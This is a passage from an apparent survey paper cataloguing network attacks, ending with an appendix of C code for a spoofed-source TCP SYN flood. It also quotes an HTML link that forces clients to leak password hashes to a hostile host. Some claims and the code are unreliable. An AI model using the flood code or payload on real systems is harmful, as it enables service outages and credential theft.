In this attack, a worm opens a TCP connection in another machine’s SMTP port. This attack exploits buffer overflow in Sendmail version 8.8.3. A remote user can execute commands using super user privileges. An intruder can send a carefully crafted mail to a system that is running a vulnerable version of Sendmail and execute binary commands remotely.

The impacts are: B.4, B.5, B.6 and F.3.

49. CrashIIS
CrashIIS is a denial of service attack against an NT IIS web server. The attacker sends a malformed GET request via telnet to port 80 on the NT victim. The command "GET ../.." crashes the web server. Additionally, it sometimes crashes the FTP and gopher daemons as well because they are part of IIS.

The impacts are: D.1, D.2, D.3 and D.7.

50. Apache2
The Apache2 attack is a denial of service attack against an Apache web server wherein a client sends a request with many http headers. Flooding a server with these requests slows it down even to the point of crashing.

The impacts are: D.1, D.2, D.3 and D.7.

51. Back Attack
In this denial of service attack against an Apache web Server, an attacker submits requests with URL's containing many front slashes. As the server tries to process these requests, it slows down and is unable to process other requests.

The impacts are: D.1, D.2, D.3 and D.7.

52. MailBomb
A MailBomb is an attack in which the attacker sends a lot of messages to a server, overflowing the server's mail queue and possibly causing System failure.

The impacts are: D.1, D.2, D.3 and D.7.

53. Process Table
The process table attack can be waged against numerous network services on a variety of different UNIX systems. The attack is launched against network services that fork () or otherwise allocate a new process for each incoming TCP/IP connection. If the attacker gets super user privileges, s/he can generate innumerable processes. Since incoming TCP/IP connections are usually handled by servers that run as root, it is possible to completely fill a target machine's process table with multiple instantiations of network servers. Properly executed, this attack prevents any other command from being executed on the target machine.

The impacts are: B.5 and D.7.

54. SelfPing
The SelfPing attack is a denial of service attack in which a normal user can remotely reboot a machine with a single ping command. This attack can be performed on Solaris 2.5 and 2.5.1.

The impacts are: D.1, D.2, D.3 and D.7.

55. Syslogd
The Syslogd exploit is a denial of service attack that allows an attacker to remotely kill the Syslogd service on a Solaris server. When Solaris syslogd receives an external message, it attempts to do a DNS lookup on the source IP address. If this IP address does not match a valid DNS record, syslogd will crash with a segmentation fault.

The impacts are: B.1, B.6, D.5 and D.6.

56. TCP Reset

TCP reset is a denial of service attack that disrupts TCP connections made to the victim’s machine. That is, the attacker listens (on a local or wide-area network) for TCP connections to the victim, and sends a spoofed TCP RESET packet to the victim, thus causing the victim to inadvertently terminate the TCP connection.

The impacts are: A.1, A.2, D.1, D.2 and D.7.

57. UDP Storm

A UDP storm attack is a denial of service attack that causes network congestion and slowdown. When a connection is established between two UDP services, each of which produces output, these two services can produce a very high number of packets that can lead to a denial of service on the machine(s) wherein the services are offered.

The impacts are: D.1, D.2, D.3 and D.7.

58. Flushot Attack

The attacker sends invalid IP fragments to the victim’s machine with the intention of crashing it. However, this attack causes the victim’s system to hang.

The impacts are: D.3 and D.4.

59. BlackScreen
This attack is directed to port 57 of the PC. The attacker sends oversized data packets to the victim’s machine. The victim’s machine hangs with a black screen.

The impacts are: D.3 and D.4.

60. Distributed Reflected Denial of Service Attack

A Distributed reflected denial of service attack (DRDoS) involves sending forged requests of some type to a very large number of computers that will reply to the requests. Using IP spoofing, the source address is set to that of the targeted victim, which means all the replies will go to (and flood) the target, making it unavailable to the other users.

The impacts are: A.1, A.2, D.1, D.2, D.3 and D.7.

61. ICMP Echo Request Attack

In this attack, the flooding hosts send echo requests to the broadcast addresses of misconfigured networks, thereby enticing many hosts to send echo reply packets to the victim. This leads to denial of service.

The impacts are: D.1, D.2, D.3 and D.7.

62. DNS Amplification Attack

The attacker sends thousands of spoofed DNS requests to the DNS server that allows recursion. The DNS server processes these requests and sends the reply back to the spoofed recipient. When the number of requests is in the thousands, the attacker could potentially generate a multi-gigabit flood of DNS replies. This is known as an amplifier attack because this method takes advantage of misconfigured DNS servers to reflect the attack onto a target while amplifying the volume of packets. Systems vulnerable to this attack are: Windows running domain name service, Unix systems running domain name service, DNS appliances, Apple Macintosh OS X.

The impacts are: D.1, D.2, D.3 and D.7.
63. DNS Reflector Attack

This is similar to a DNS amplification attack. The attacker sends thousands of spoofed DNS requests to the DNS server that allows recursion. The DNS server processes these requests and sends the reply back to the spoofed recipient. When the number of requests is in the thousands, the attacker could potentially generate a multi-gigabit flood of DNS replies. The attacker takes advantage of misconfigured DNS servers to reflect the attack onto a target while amplifying the volume of packets. Systems vulnerable to this attack are: Windows running Domain name Service, Unix System running Domain Name Service, DNS Appliances, Apple Macintosh OS X. The impacts are: D.1, D.2, D.3 and D.7.

64. Port Scanning Attack

This is usually reconnaissance techniques that the attacker uses to find the various ports that are available (which services the port is listing to) in the victim’s system to carry out the attack. The impacts are: A.1 and A.2.

65. IP Fragmentation Attack

To facilitate transmission in congested networks, IP packets are broken down into smaller fragments. It is difficult for the routers and intrusion detection systems to detect the contents of very small packets. Hence, these tiny packets pass without any examination. Once the packet is reassembled, it causes buffer overflow on the victim’s machine. The attack causes the machine to reboot, shut down, or has no effect at all. The impacts are: D.3 and D.4.

66. IP Overlapping Fragment Attack

In an IP overlapping fragment attack, the reassembled packet starts in the middle of another
packet. As these invalid packets are received by the operating system, memory is allocated to these packets. Eventually all the memory resources are used up which causes the machine to hang or reboot.

The impacts are: D.1, D.2, D.3 and D.7.

67. IP Sequence Prediction Attack

Using a SYN flood attack, an attacker can connect to the victim’s machine. Once the connection is established, it can get the IP packet sequence number of the victim’s packet by IP sequence prediction attack. With this number, the attacker can control the victim’s machine. The victim thinks that it is communicating with other network machines. The victim performs all the requested services as required by the attacker.

The impacts are: C.3 and D.7.

68. SNMP Attack

An SNMP attack can result in the network being mapped, and traffic being monitored and redirected. All systems and network devices running SNMP agents are vulnerable to this attack.

The impacts are: A.1, A.2 and C.2.

69. Fork Bomb

The fork bomb is a form of denial of service attack against a computer system that implements the fork operation, or equivalent functionality whereby a running process can create another running process. It creates a number of processes that saturate available space in the system's operating system, causing existing applications to slow down and become difficult to use.

The impacts are: B.5, B.6 and D.2.

70. Logic Bomb

A logic bomb is a malicious code that is embedded in a legitimate program. When some
predefined events occur, these codes surreptitiously get inserted in the application or operating system. When some specific events occur, these malicious codes perform some destructive action. The impacts are: C.3, D.3, D.4 and F.3.

71. Banana Attack
This attack redirects outgoing packets sent from the client back to the client, preventing outgoing access and flooding the client with the sent packets. This is similar to a LAND attack. It either causes the system to lock or crash.
The impacts are: D.1, D.2, D.3 and D.4.

72. Ping Broadcast
A ping request is sent to the broadcast network address with the source IP address of the victim’s system. If the router forwards the packets to the hosts within that network, each of them replies to the specified source address, thus flooding the victim with ping replies. This causes the system to lock up or bring the network down.
The impacts are: B.6, D.1, D.2, D.3 and D.7.

73. IP Spoofing
This is mainly used to perform denial of service attacks against a particular network or system. Loads of IP packets are sent with spoofed source IP addresses. The attacked system or network has no idea about the source IP address of the packets, thus relieving the attacker from receiving replies. The attacked network or system tries to process all the IP packets. This causes them to exhaust all their network bandwidth, CPU resources and may cause the system to crash.
The impacts are: D.1, D.2, D.3 and D.7.

74. Brute Force Attack
The attacker tries various numbers and characters to recover passwords so as to gain unauthorized
access to victim's system. The impact is system compromise.

The impacts are: B.1, B.2, B.3, C.1 and C.2.

75. CrapFlood
This is the simplest kind of IRC flooding attack. The attacker sends short words or long text repeatedly. The texts have no relevance with the current conversation. There is an exponential rise in the text, and the chat window gets flooded with the useless messages.

The impacts are: D.1, D.2, D.3 and D.7.

76. ICMP Flood
This attack is also known as ping flood. The attacker floods the victim with ICMP messages, causing the system to crash or making the network really slow. However, the attack is not directed exclusively to an IRC network. To get the victim's IP address and other information, the attacker uses the whois command on the IRC network.

The impacts are: D.1, D.2, D.3 and D.7.

77. Message Flood
The attacker sends multiple messages from different connections to IRC clients. Since some of the client programs handle different connections by opening a new window for each new message, multiple messages lead to consumption of the victim's message box. This forces the victim to restart the machine.

The impacts are: D.2 and D.4.

78. Notice Flood
This is similar to the message flood except a “notice” command is sent out by the attacker to the victim. The victim’s system is disconnected from the IRC server and a system restart is required.

The impact is: D.4.
79. RIP Spoofing

The attack is directed to RIP supported routers. RIP is UDP-based. Hence, it accepts any kind of packet. Since there is no authentication, an attacker can send spoofed packets with unreachable system or network destinations. Once the router is flooded with such packets, all its resources will be consumed as it is not able to forward any of the received packets, thus bringing the router down.

The impacts are: D.1, D.2, D.3 and D.7.

80. CGI Scanning Attack

This attack includes scanning and traversing URLs and weblinks to find executable scripts in web servers. The two vulnerabilities that this attack exploits are common filename vulnerability and application vulnerability. Easily guessable filenames compromise the system as they can be easily detected through CGI scanning. Placing applications in admin directories makes them easy prey to CGI scanning attack.

The impacts are: A.1, A.2, B.1, B.3, B.5 and E.1.

81. POP3 Port Probe

The attacker scans for this port to check if a POP3 service is available in the victim's system. This might be a preparation for some future attack or a check to see if the system is susceptible to attack.

The impacts are: A.1 and A.2.

82. SMTP Port Probe

The attacker scans for an SMTP port and may use a victim's SMTP mail server to anonymously send out spam mail to other users. Sometimes the attacker wants to send spam mail addressed to a
number of recipients. Using a victim's SMTP server, this can be easily done. The attacker need only send a single mail to the SMTP mail server and the server could send the mails to all the recipients. Thus, he saves his bandwidth while making the victim's SMTP server use its own bandwidth to send out the spam mails.

The impacts are: A.1, A.2 and C.4.

83. FTP Port Probe

The attacker scans for a FTP port for a number of reasons. Attacking the FTP server is the one of the reasons. Also, the hackers can use the victim's FTP server to distribute various kinds of contraband files anonymously without being caught by Internet cops.

The impacts are: A.1, A.2 and C.4.

84. Telnet Port Probe

Attackers look for an available telnet port to gain easy access in the victim's system. UNIX systems are more vulnerable to this attack than Windows systems. Unless some special software is installed, it is not easy for attackers to know about this service in Windows systems. The attacker tries to gain access to routers and other network devices through the console if a telnet service is running in the system.

The impacts are: A.1, A.2, B.3, C.3, D.1 and D.2.

85. Finger Port Probe

The scan is done to check if the finger service is available or not. Either it is a preparation to check the vulnerability of a system or to attack the system in future.

The impacts are: A.1 and A.2.

86. Rlogin port probe
The scan is done to check if an Rlogin service is available or not. It can be a preparation for some future attack or to check the vulnerabilities of the system.

The impacts are: A.1 and A.2.

87. NetBIOS Port Probe

The attacker scans systems for this service with the aim of getting hold of some files. Windows System uses a NetBIOS service to share files and printers. The users can expose various files and even their hard drive to provide unauthorized access. Attackers can also use this service to gain access to the system. Even if the system is password protected, using various password cracking tools, access can be gained to the system.

The impacts are: A.1, A.2, B.1, B.3 and C.1.

88. DNS TCP Port Probe

The attacker scans systems to check if a DNS service is available. This can be a preparation for some future attack or to check the vulnerabilities of the system.

The impacts are: A.1 and A.2.

89. SQL Port Probe

The attacker scans to check if the SQL service is available on the victim's system. This can be a preparation for some future attack or to check the vulnerabilities of the system.

The impacts are: A.1 and A.2.

90. XWindows Port Probe

The attacker scans to check if the XWindows service is available on the victim's system. This can be a preparation for some future attack or to check the vulnerabilities of the System.

The impacts are: A.1 and A.2.
91. RPC TCP Port Probe
The attacker scans various systems to gain access to RPC service. Once he identifies such systems, he uses an RPC portmapper to gain access to the list of RPC programs, making it easier for him to attack the system. Windows systems are not susceptible to this attack though UNIX machines are vulnerable to this attack.
The impacts are: A.1, A.2 and C.1.

92. PPTP Port Probe
The attacker performs this scan to check if a PPTP service is available in any system. This can be a preparation for some future attack or to check the vulnerabilities of the system.
The impacts are: A.1 and A.2.

93. IRC Port Probe
The attacker performs this scan to check if an IRC service is available in any system. This can be a preparation for some future attack or to check the vulnerabilities of the system.
The impacts are: A.1 and A.2.

94. TCP Port Probe
The attacker scans the system to check for vulnerabilities that can be exploited. Since most services use TCP, the aim of this particular scan can be to discover the available services running on various systems. Most of the scans are from spoofed IP addresses as hackers want to keep their identities anonymous.
The impacts are: A.1 and A.2.

95. DNS UDP Port Probe
The attacker scans various systems to find a DNS service. A DNS service might have been accidentally installed without the knowledge of the user, and hackers can use it to gain access to the system. If the DNS server has been misconfigured, it is vulnerable to attack.

The impacts are: A.1 and A.2.

96. FTP Status Session DoS

Improper handling of an FTP session status requests can lead to a denial of service attack. Microsoft's IIS server is vulnerable to such an attack. An attacker with an existing remote FTP session sends a malformed FTP server session request packet to the victim's machine. This can cause access violation error, thus causing the FTP and other web services to terminate in the attacked server.

The impacts are: D.3, D.4 and D.7.

97. HTTP IIS ISAPI DoS

Microsoft's IIS server is vulnerable to a denial of service attack which is caused if the Internet services application programming interface (ISAPI) filters receive a very long URL. The attacker sends a URL which exceeds the specified length to IIS. While trying to access the URL, the ISAPI filter causes an authorization violation; hence, the IIS server stops.

The impacts are: B.5 and D.7.

98. SSL2 Master Key Overflow

OpenSSL is the implementation of SSL and TLS for Linux distribution. Some versions of SSL are vulnerable to buffer overflow through mishandling of SSL2 master key. The attacker sends the victim system an overly long SSL2 master key which causes buffer overflow in the victim’s system. The attacker is also capable of executing arbitrary code with elevated privileges which causes the system to crash. Linux systems are vulnerable to such an attack.
The impacts are: B.4, B.5, B.6, C.1, C.3 and D.3.

99. Code Red I, II, II+

Various versions of the worm exploit the vulnerability of the IIS server. Once infected, the IIS server stops due to buffer overflow or it can be remotely accessible by the attacker.

The impacts are: B.5, C.3, C.5 and D.3.

100. Radius User Overflow

The sprintf() of the Radius server does not check the buffer size. The attacker can exploit this vulnerability. Buffer overflow causes the Radius daemon to crash or the victim's system to be remotely accessed by the attacker.

The impacts are: C.5 and D.3.

101. Radius Pass Overflow

Buffer overflow vulnerability exists in a Radius server. If the attacker sends a long password to the server, while processing it, the server runs into an infinite loop and the system hangs.

The impacts are: B.5 and D.4.

102. BOOTP File Overflow

BOOTP servers are susceptible to buffer overflow attack. If a long suspicious looking filename is sent to this server, it causes buffer overflow of the BOOTP server.

The impacts are: B.5 and D.4.

103. UPnP Notify Overflow

The attacker can send a specially formatted version of the UPNP NOTIFY directive to the victim’s machine which will cause buffer overflow. Systems such as Windows XP are vulnerable
to this attack.

The impacts are: C.5 and D.3.

104. Dragon Fire CGI

Some vulnerability exists in .cgi script for Dragon Fire remote web interface which allows attackers to execute commands and compromise the system running Dragon Fire IDS remotely.

The impacts are: B.4, B.5 and C.3.

105. Listserv CGI Exploit

Listserv is email list management software. The attacker may send a lot of arguments in the URL with the intention to overflow the buffer and compromise the system. The attacker can also try executing arbitrary code by sending a carefully crafted email to the victim's system.

The impacts are: C.5, F.1, F.2 and F.3.

106. Y3K ICQ Pager URL

If a system that has been infected by the Y3K Trojan horse is up and running, it sends out an ICQ page alert that informs the hacker about the infected system. The impact of such an action is that the hacker can compromise the system by gaining unauthorized access to it.

The impacts are: B.4, B.5, C.3, D.3 and E.1.

107. Y3K Email

If the system that is infected by the Y3K Trojan horse program is booted, it sends out an email alert about the system. This information lets the hacker know about the compromised system. Hence, the attacker can get unlimited information about the compromised system.

The impacts are: B.4, B.5, C.3, D.3 and E.1.
108. VCF Attachment Overflow

A .vcf is a virtual business card that is sent out as an email attachment. The attacker tries to compromise the system by sending an invalid .vcf file. Such a file when opened causes buffer overflow in the mail client allowing the attacker to gain unauthorized access to the system. Any kind of operating system is vulnerable to such an attack.

The impacts are: B.4, B.5, C.3, C.5, D.3 and F.2.

109. DHCP Domain Metachar

Sometimes DHCP clients may be compromised when they try connecting to a corrupt DHCP server by sending requests. The DHCP server sends back a response along with some malicious commands which when executed at the client end, enable the logging service. Once done, the attacker has complete control of the client.

The impacts are: B.1, B.3, B.5, C.2 and C.3.

110. TFTP Win .ini File

The attacker is trying to gain access Windows Configuration files via the TFTP protocol. The intentions of the attacker might be to configure a Trojan horse or reconfigure any program in the victim' System

The impacts are: B.1, B.3, B.5, C.2 and C.3

111. TFTP passwd File

Some UNIX systems are vulnerable to comprise or making important files like password files available to the attacker if the TFTP server is not configured properly. Once the attacker exploits this vulnerability, s/he can gain unauthorized access to the system.

The impacts are: B.1, B.3, B.5, C.2 and C.3.
112. FTP Pasv DoS
The intruder tries to crash the FTP server by sending back to back Pasv commands. The impact is denial of service.
The impacts are: D.3 and D.7.

113. FTP SITE PSWD Exploit
The intruder sends FTP SITE PSWD with Null password to the FTP server. The intention is to crash the FTP server. The impact of the attack is denial of service.
The impacts are: D.3 and D.7.

114. NT RASMAN Privilege Escalation Attempt
The attacker tries to access the registry key to change a program, which can be a Trojan program, giving control of the victim's machine to the attacker. The attacker accesses the RASman registry key.
The impacts are: B.1, B.3, B.5, C.2 and C.3.

115. Index Server reg Hack
The attacker tries to hack the index server's registry key, which if done will make the entire directory structure available to the attacker and make the system vulnerable.
The impacts are: C.1, C.2 and C.4.

116. RDS reg Hack
There are some registry entries that restrict users from getting access to database engines in Windows systems. The attacker sets the registry keys with access privileges so as to control the victim's system remotely or to gain unauthorized access any time. The main aim is to compromise
the system.

The impacts are: B.1, B.3, B.5, C.2 and C.3.

**Attacks Using Network Protocols**

117. SNMP sysName Overflow

SNMP has lots of unchecked buffer overflows that can be easily exploited by the attacker. A network associates distributed sniffer agent is installed in most SNMP servers for security reasons. However, there exist vulnerabilities in the sysName field which is not checked for buffer overflow. The attacker can exploit this vulnerability and compromise the SNMP device.

The impacts are: B.1, B.3, B.5, C.2 and C.3.

118. Server Message Block (SMB)

It is the protocol in a Windows machine for sharing files and printers, and IPC for authentication purposes. Several vulnerabilities exist that can be exploited by the attacker. One of them is as follows:

- **SMB malformed**

  An attacker can send a corrupted SMB logon sequence to the victim's machine which can cause the machine to crash. Windows NT 4.0 SP4 and Windows 95 all versions are vulnerable to this attack.

The impacts are: C.2 and C.3.

119. Simple Network Time Protocol (SNTP) overflow:

SNTP is used to synchronize a system clock with the universal clock. An invalid SNTP packet sent out by the attacker to the victim’s system can cause buffer overflow and provide unauthorized access to the attacker in the victim's system.
The impacts are: B.1, B.3, B.5, C.2 and C.3.

120. Domain Name Service (DNS)

This is the directory service for the Internet. However, multiple vulnerabilities exist that can be exploited by the attacker. One of the attacks is as follows:

- **DNS name overflow very long**
  
The attacker has sent a very long system name as a DNS query. The DNS name is longer than 900 bytes either causes the DNS server to shut down causing Denial of Service or allow the attacker to gain unauthorized access.

  The impacts are: B.4, B.5, D.3 and D.7.

121. Transmission Control Protocol (TCP)

- **TCP Invalid Urgent Offset**
  
The intruder can send a TCP frame with an urgent pointer which points past the data range. Some implementations of TCP/IP are not able to handle such frames and crash. Hence, once the system receives such a packet, the system either hangs or crashes, thus causing denial of service.

  The impact is: D.3, D.4 and D.7.

122. Hyper Text Transfer Protocol (HTTP)

These attacks are directed towards web servers. There are a number of vulnerabilities that exist in HTTP protocol and can be exploited. One of the attacks is as follows:

- **HTTP Form field name overflow**
  
The attack is directed towards web servers. Some web servers are vulnerable to long field names in posted data. The impact of the attack is buffer overflow which allows the attacker to execute his own code on the server and get complete control over the server.
The impacts are: B.1, B.3 and B.5.

123. Post Office Protocol (POP)

This is an application level protocol that is used by email clients to retrieve email from mail servers and deliver it to individual mail boxes. This category contains a number of vulnerabilities that are exploited by the attacker one of which is as follows:

- **POP3 APOP name overflow**
  
The attacker breaks into the server by sending a very long name. This causes buffer overflow on the server, thus allowing the attacker to execute any arbitrary code.

The impacts are: B.1, B.3 and B.5.

124. Internet Message Access Protocol version 4 (IMAP4)

This is a remote mailbox access protocol that email clients use to retrieve email from mail servers and deliver it to individual mail boxes. There are a number of vulnerabilities the attacker can exploit, one of which is as follows:

- **IMAP4 Parm Overflow**
  
  Some IMAP servers are vulnerable to a buffer overflow attack if they receive parameters that are longer than the specified value. By exploiting this vulnerability, the attacker can execute an arbitrary code on the server, giving him control of the server.

  The impacts are: B.1, B.3 and B.5.

125. Telnet

One of the attacks that can be performed using this service is:

- **Telnet NTLM tickle**
  
  In this attack, the hash of a victim's username and password is passed to the attacker who
later decrypts it to get the actual username and password. This vulnerability exists in
Windows 2000. A hostile website can add a link like

“<IMG SRC = telnet://intruder.example.com>” which forces the Telnet client to
connect to the hostile server. Once the client is connected, the intruder can run the
program that causes Windows to send the hashed username and password to him.
The impacts are: C.2 and C.3.

126. Simple Mail Transfer Protocol (SMTP)

Simple mail transfer protocol is used for exchanging mails between servers.

One of this type of attacks is:

- **SMTP many quotes in the recipient**
  
The attack is directed towards Netscape Directory Server versions 4.1 and 4.12 which are
vulnerable to buffer overflow. A remote intruder can connect to an SMTP service and
send a name containing excessive quotes in the “RCPT TO” field to overflow the buffer.
Once successful, the attacker can either execute arbitrary code on the server or cause a
denial of service attack.

The impacts are: B.1, B.3, B.5, C.2, C.3 and D.7.

127. Remote Login (Rlogin)

The rlogin protocol allows seamless login from one machine to another. The attacker exploits the
vulnerabilities of this process, one of which is as follows:

- **Rlogin TERM overflow**
  
The rlogin protocol allows seamless login from one machine to another. Before
successfully logging in, the user terminal information is passed through the TERM field
of the rlogin protocol. However, the contents of this field are not checked. The attacker
can exploit this vulnerability.
The impacts are: C.2 and C.3.

128. File Transfer Protocol (FTP)

One of the attacks that exploit the vulnerabilities of the file transfer protocol is:

- **FTP Glob Overflow**

  An attacker sends a long name with lots of binary characters to an FTP system which causes buffer overflow. Thus, the attacker can remotely execute any code on the system. Another impact of the attack is that it causes the entire memory to be rewritten in a particular format.

  The impacts are: B.4 and B.5.

129. SMB RICHED20.DLL access

The attacker tries to gain access to the RICHED.dll that is present in the web server. He can put a Trojan version of the .dll file in the server. When clients access .doc files, this program starts and infects all the clients that are trying to access documents from the infected server.

The impacts are: B.1, B.3, B.5, C.2, C.3, F.3 and F.4.

130. IIS malformed .HTR request

This attack is directed towards Microsoft NT web servers. The attacker tries to exploit .HTR buffer overflow. Once exploited, the attacker gains unauthorized access to the web server.

The impacts are: B.1, B.3 and B.5.

131. Corrupt IP options

The IP options field is hardly used for normal data communication. Hence, an attacker can easily exploit this rarely used option to send bogus data across the network. The aim of the attack is to crash the systems in the target network or to breach the security checks.
132. Finger Overflow

Since the finger protocol is easy to implement, a number of versions of the same exist, and most of them do not check for input size, creating a vulnerability. An attacker sends a long request with the intention to overflow the buffer. The Morris worm exploited this vulnerability of finger protocol.

The impacts are: C.4, C.5 and D.3.

133. Y3K Trojan horse Ping

This is performed with the sole aim of finding if any system in the network has been infected by the Y3K Trojan horse. Only infected systems respond to the ping request sent out by the attacker.

The impacts are: A.1 and A.2.

134. Remote Procedure Call (RPC)

One of the attacks that exploits the vulnerabilities of remote procedure call is:

- **RPC SNMPXMITD overflow**

  The intruder can exploit buffer overflow in snmpxmid daemon. The snmpXmid is a service that is a mapping tool for SNMP and DMI (desktop management interface) requests and it is installed with root privileges. An attacker can send a malformed DMI request, and using SNMP trap, it can overflow the buffer allowing the intruder to gain access. Thus, this causes compromise of the system.

  The impacts are: C.3, C.4 and C.5.

135. Saihyousen Attack

The aim of the attack is to bring down a particular type of firewall. The impact can be to
compromise a single system or all the systems behind the firewall that are exposed to the attacker. The impacts are: B.1, B.3, B.5, C.2 and C.3.

136. UDP Short Header
The attacker sends a UDP packet with a header length of less than 8 bytes with the intention of crashing the system. Systems such as BeOS are vulnerable to this attack. The impacts are: D.1, D.2, D.3 and D.7.

137. Snork Attack
The attacker sends a UDP frame with the options set for connecting two services which, if enabled, will lead to an indefinite communication with each other. This generates a lot of bogus traffic using up network bandwidth, thus reducing network performance as well as the resources of the system. The impacts are: D.1, D.2, D.3 and D.7.

138. UDP port loopback
Some of services, such as chargen, quote of day, and echo, send back echo packets when they receive any input in their respective ports. However, an attacker can spoof a number of packets and send them to these ports that send back echo replies. A lot of echo replies causes loss of network bandwidth and CPU processes, thus causing denial of service attack. All systems that support these services are vulnerable to this attack. The impacts are: D.1, D.2, D.3 and D.7.

139. Echo Reply Without Request
In this attack, the user is able to see many ping responses though he is not the sender of any ping requests. There can be a number of reasons. Firstly, it might be that the attacker wants to flood the
user's network and degrade the performance of the network. Secondly, it is easier to send out a Trojan horse along with ICMP traffic. Since ICMP protocol does not carry a payload, most of the corrupted packets can pass through a corporate firewall easily and enter a corporate network, thus performing a distributed denial of service attack. Finally, it is possible for the attacker to predict the type of network that exists behind firewall by the ICMP response that he receives. A response such as “host unreachable” tells the attacker that such users do not exist and vice versa.
The impacts are: B.1, B.3, B.5, C.2, C.3, D.1 and D.2.

140. ICMP Unreachable Storm

The attacker uses a UDP port scanner that scans for ports with unsupported services. S/he then sends out large number of UDP frames addressed to unreachable ports through a spoofed IP address. This brings down the network as well the victim’s system, causing denial of service. The source address is spoofed; thus, it is difficult to determine the actual source of the attack.
The impacts are: D.1, D.2, D.3 and D.7.

141. IGMP fragments

In some systems, the TCP/IP stack cannot handle IGMP packets very well. Sending corrupted packets to such systems might cause performance problems or cause the system to crash. The vulnerable systems are Windows 95, 98, NT and Windows 2000 servers.
The impacts are: D.1, D.2, D.3 and D.7.

142. Chargen Echo Denial of Service

Chargen is a small IP service that listens in on UDP or TCP port number 19. Echo is another IP service that listens in on UDP or TCP port number 7. An attacker can send spoofed UDP packets between these two service ports which will then run in an infinite loop. Since a lot of UDP packets are generated during the exchange, Network congestion results and thus service requests
to other users are denied.

The impacts are: D.1, D.2, D.3 and D.7.

143. CGI nph-test/cgi

An attacker looks for potential vulnerabilities in the “dynamic content generation” portion of the web server. One of the programs, nph-test-cgi in the web server, is responsible for creating the web pages when a user accesses the site. The attacker exploits the security hole in such script and defaces the web pages.

The impacts are: B.3, B.4, E.1 and E.2.

144. IRC Buffer Overflow

The attacker is trying to compromise the IRC service by overflowing the buffer. If the attack is successful, the attacker can remotely execute codes on the victim machine.

The impact is: B.1, B.3, B.4 and B.5.

145. IP Sequence Prediction Attack

Using an SYN flood attack, an attacker can establish a connection with the victim machine and obtain the IP packet sequence using the IP sequence prediction attack. Thus, the victim is in control of the attacker and performs all the requested services, since the victim is fooled into thinking that s/he is communicating with an authenticated system.

The impacts are: C.2 and D.7.

146. TCP Sequence Prediction Attack

Two computers are communicating with each other. The attacker can perform a TCP sequence prediction attack by hijacking the session and injecting his own packets. While injecting the packets, the attacker needs to be careful to maintain the TCP sequence that the destination
computer is expecting from the other end. The attacker performs a denial of service attack on the source computer and cuts it off from regular communication. The source computer starts communicating with the server.

The impacts are: C.2 and D.7.

147. DNS Cache Poisoning
A domain name server can be easily poisoned if incoming client requests are not checked properly. Since there is no authentication process involved, an attacker can send a malicious request, which once cached in the DNS may bring it in control of the attacker. The attacker can change entries for an arbitrary set of victims with information of his own choice. This can be malicious information that might redirect victims to bogus websites and extract information from them. The impact can be compromise to denial of service attack.

The impacts are: B.1, B.2, B.5, D.5, D.6 and D.7.

148. Masquerade Attacker
This is similar to a spoofing attack wherein an attacker tries to gain access to restricted resources by pretending to be an authorized user. The intention can be to infiltrate some system or gain access to hidden records. Some systems allow only users with specific IP addresses to pass through company firewalls. An attacker can gain unauthorized access by assuming one of these IP addresses.

The impacts are: B.1, B.3, B.5, C.2, C.3, D.1 and D.2.

149. SQL Injection Attack [10]
Some SQL statements available in a web server can be vulnerable to this attack. The attacker sends malicious code or data to the underlying SQL RDMS. If the SQL statements blindly accept user inputs, such an attack is successful. The attacker can add, delete, or modify the content of the
database at his choice. Sometimes, he can gain access to the operating system through this attack. The impact is a mangled database.

The impacts are: B.1, B.2, B.3, B.5, F.2 and F.3.

150. Code Injection Attack

The attacker can inject some malicious code into healthy code and sent it to the web server. Also, the attacker can send malicious code through user input. If there is no proper validation check at the server end, these go undetected. Malicious codes can be injected in any kind of scripting language such as php, JavaScript, SQL, etc. The impact is that once such codes are executed on the web server, it is compromised.

The impacts are: F.1, F.2 and F.3.

151. Cross Site Scripting Attack

Some web servers provide unsanitized user input data back to the user. Such applications can be search engines or forums wherein the user posts his views. An attacker can post a hyper link in such public portals, thus concealing the malicious code. Other users might click on the link thinking they are being directed through a secure server. Such attacks can compromise the system of the users who follow the link. If the attacker's input is not validated correctly, it can compromise the server itself.

The impacts are: B.1, B.3, B.4, E.1, E.2, F.2 and F.3.

Conclusion

Computer systems and networks are highly prone to attacks owing to advancements in technology. The intensity of the attacks varies depending on the whether the attacker wants some information or whether he wants to compromise the system or network as a whole. In this paper, I have summarized all possible attacks against computer networks to the best of my ability. But this
list is still an open list because as new defense mechanisms come into play, the hacker will always find novel methods to attack the system and network.

References


[2] Chappell, L. Cyber Crime: It could happen to you  


[8] Internet Security Systems. Database of Intrusions detected by Network ICE.  


APPENDIX B

1. TCP_SYN Flood Attack Code (tcpsyn.c):

```c
#define __USE_BSD
#include <netinet/ip.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>

#define P 25  /* Flood the SMTP port */

unsigned short  /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

int main (void)
{
    int count =0;
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    char datagram[4096];
    struct ip *iph = (struct ip *) datagram;
    struct tcphdr *tcph = (struct tcphdr *) datagram +
        sizeof (struct ip);
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons (P);
    sin.sin_addr.s_addr = inet_addr ("192.168.0.101");
    memset (datagram, 0, 4096); /* zero out the buffer */
    iph->ip_id = htonl (54321); /* the value doesn't matter here */
    iph->ip_v = 4;
    iph->ip_off = 0;
    iph->ip_p = 6;
    iph->ip_sum = 0;
```
iph->ip_src.s_addr = inet_addr("192.168.0.100");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons(1234); /* arbitrary port */
tcph->th_dport = htons(P);
tcph->th_seq = random();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl(65535); /* maximum allowed window size */
tcph->th_sum = 0;
tcph->th_upr = 0;
iph->ip_sum = csum((unsigned short *) datagram, iph->ip_len >> 1);

{
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        printf ("Warning: Cannot set HDRINCL!\n");
}

while (1)
{
    if (sendto (s, datagram, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof (sin)) < 0)
